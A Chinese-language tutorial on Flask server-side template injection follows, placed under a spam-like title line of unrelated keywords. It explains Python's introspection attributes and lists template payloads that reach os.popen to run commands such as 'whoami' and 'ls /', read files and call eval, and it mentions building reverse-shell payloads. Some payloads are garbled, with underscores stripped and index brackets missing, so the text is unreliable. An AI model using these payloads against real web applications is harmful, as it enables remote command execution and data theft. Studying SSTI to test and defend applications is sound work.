win网站建设,wordpress怎么显示摘要,软件代理,网站开发用户需求分析SSTI漏洞注入
SSTI全称Server side template injection.服务端模板注入这节课主要讲flask的模板注入.flask会把类似于 的变量当做参数来渲染并填充到web页面,如果该参数可控并被后台解析则有可能被注入恶意代码导致注入漏洞请注意 模板注入只会存在于二次渲染中,无二次渲染不会…SSTI漏洞注入
SSTI全称Server side template injection.服务端模板注入这节课主要讲flask的模板注入.flask会把类似于 的变量当做参数来渲染并填充到web页面,如果该参数可控并被后台解析则有可能被注入恶意代码导致注入漏洞请注意 模板注入只会存在于二次渲染中,无二次渲染不会出现模板注入。
注入过程
确定模板类型 利用魔术方法寻找可命令执行的子类 魔术方法 class 返回类型所属的对象 mro 返回一个包含对象所继承的基类元组方法在解析时按照元组的顺序解析。 base 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 subclasses 每个新类都保留了子类的引用这个方法返回一个类中仍然可用的的引用的列表 init 类的初始化方法 globals 对包含函数全局变量的字典的引用 寻找子类 Python3 使用file类读取文件的方法 class ‘_frozen_importlib_external.FileLoader’这个类索引号 利用os._warp_close类的 popen函数执行命令 [].class.mro[-1].subclasses()[128].init.globals’popen’.read() ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘import’.popen(‘whoami’).read() ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘eval’ ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘eval’ 利用os._warp_close类的 open函数读取文件 ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘open’.read() Python2 利用 warnings.WarningMessage的 linecache执行命令 [].class.base.subclasses()[59].init.func_globals[‘linecache’].os.popen(‘whoami’).read() ().class.bases[0].subclasses()40.read() ().class.bases[0].subclasses()[75].init.globals[‘builtins’]‘eval’ 利用file类读取文件python2特有 ().class.bases[0].subclasses()40.read() ().class.bases[0].subclasses()40.readlines() 存在popen函数的类一般是 os._wrap_close [].class.mro[-1].subclasses()[128].init.globals[‘builtins’][‘eval’](‘import(“o”“s”).popen(“ls /”).read()’) 思路找到父类type ‘object’–寻找子类–找关于命令执行或者文件操作的模块。 几个含有eval函数的类 warnings.catch_warnings WarningMessage codecs.IncrementalEncoder codecs.IncrementalDecoder codecs.StreamReaderWriter os._wrap_close reprlib.Repr weakref.finalize构造PAYLOAD执行反弹SHELL等命令 相关链接